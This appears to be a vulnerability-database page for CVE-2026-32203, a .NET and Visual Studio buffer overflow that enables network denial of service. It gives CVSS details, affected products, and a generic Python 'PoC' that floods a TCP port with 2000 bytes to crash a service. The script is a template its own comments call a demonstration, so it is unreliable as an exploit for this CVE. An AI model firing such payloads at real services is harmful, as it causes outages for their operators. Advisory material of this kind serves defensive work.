Security Vulnerability Report
中文
CVE-2026-32203 CVSS 7.5 HIGH

CVE-2026-32203

Published: 2026-04-14 18:17:28
Last Modified: 2026-05-06 14:56:02

Description

Stack-based buffer overflow in .NET and Visual Studio allows an unauthorized attacker to deny service over a network.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:.net:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:a:microsoft:.net:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:a:microsoft:.net:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:a:microsoft:visual_studio_2022:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:visual_studio_2022:*:*:*:*:*:-:*:* - VULNERABLE
cpe:2.3:a:microsoft:visual_studio_2026:*:*:*:*:*:*:*:* - VULNERABLE
具体受影响版本请参考Microsoft官方安全公告

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-32203 # This script demonstrates a potential buffer overflow scenario. # Note: Replace TARGET_IP and TARGET_PORT with actual vulnerable service endpoints. import socket TARGET_IP = "127.0.0.1" TARGET_PORT = 8080 # Construct a malicious payload (e.g., a long string of 'A's) # Adjust length based on the specific buffer size of the vulnerable component. # Assuming a buffer size of 1024 bytes for demonstration. buffer_size = 2000 payload = b"A" * buffer_size def send_exploit(): try: print(f"[*] Sending payload to {TARGET_IP}:{TARGET_PORT}...") # Create a socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) # Send the malicious payload # In a real scenario, this might be an HTTP header, a specific protocol command, etc. s.send(payload) print("[+] Payload sent successfully.") print("[+] Check if the service has crashed.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()

References

Raw JSON Data

JSON
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